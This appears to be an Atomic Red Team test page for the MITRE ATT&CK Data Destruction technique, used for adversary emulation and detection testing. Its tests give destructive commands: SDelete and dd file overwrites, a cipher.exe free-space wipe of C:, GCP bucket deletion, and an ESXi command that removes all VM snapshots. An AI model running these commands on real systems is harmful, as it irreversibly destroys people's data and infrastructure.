Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as
delandrmoften only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.
- Atomic Test #1: Windows - Overwrite file with SysInternals SDelete
- Atomic Test #2: FreeBSD/macOS/Linux - Overwrite file with DD
- Atomic Test #3: Overwrite deleted data on C drive
- Atomic Test #4: GCP - Delete Bucket
- Atomic Test #5: ESXi - Delete VM Snapshots
Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in the powershell session along with other information about the file that was deleted.
Supported Platforms: Windows
auto_generated_guid: 476419b5-aebf-4366-a131-ae3e8dae5fc2
| Name | Description | Type | Default Value |
|---|---|---|---|
| sdelete_exe | Path of sdelete executable | path | PathToAtomicsFolder\..\ExternalPayloads\Sdelete\sdelete.exe |
| file_to_delete | Path of file to delete | path | PathToAtomicsFolder\..\ExternalPayloads\T1485.txt |
if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force }
& "#{sdelete_exe}" -accepteula "#{file_to_delete}"Description: Secure delete tool from SysInternals must exist on disk at specified location (#{sdelete_exe})
if (Test-Path "#{sdelete_exe}") {exit 0} else {exit 1}New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sdelete" -Force
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" -ForceOverwrites and deletes a file using DD. To stop the test, break the command with CTRL/CMD+C.
Supported Platforms: Linux, macOS
auto_generated_guid: 38deee99-fd65-4031-bec8-bfa4f9f26146
| Name | Description | Type | Default Value |
|---|---|---|---|
| overwrite_source | Path of data source to overwrite with | path | /dev/zero |
| file_to_overwrite | Path of file to overwrite and remove | path | /var/log/syslog |
dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytesRansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover. This process is very slow and test execution may timeout. https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4
Supported Platforms: Windows
auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19
cipher.exe /w:C:This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.
Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. This atomic will create a bucket then delete the bucket.
Supported Platforms: Iaas:gcp
auto_generated_guid: 4ac71389-40f4-448a-b73f-754346b3f928
| Name | Description | Type | Default Value |
|---|---|---|---|
| project_id | ID of the GCP Project you to execute the command against. | string | atomic-test-1 |
| bucket_name | The name of the bucket to delete. | string | atomic-red-team-bucket |
gcloud config set project #{project_id}
gcloud storage buckets delete gs://#{bucket_name}cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform state rm google_storage_bucket.bucket
terraform destroy -auto-approveif [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi;echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install"gcloud config get-value accountgcloud auth login --no-launch-browserterraform versionecho Please install the terraform.stat "$PathToAtomicsFolder/T1485/src/T1485-4/terraform.tfstate"cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform init
terraform apply -auto-approveDeletes all snapshots for all Virtual Machines on an ESXi Host Reference
Supported Platforms: Windows
auto_generated_guid: 1207ddff-f25b-41b3-aa0e-7c26d2b546d1
| Name | Description | Type | Default Value |
|---|---|---|---|
| vm_host | Specify the host name or IP of the ESXi server. | string | atomic.local |
| vm_user | Specify the privilege user account on the ESXi server. | string | root |
| vm_pass | Specify the privileged user's password. | string | password |
| plink_file | Path to Plink | path | PathToAtomicsFolder\..\ExternalPayloads\plink.exe |
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done"if (Test-Path "#{plink_file}") {exit 0} else {exit 1}New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"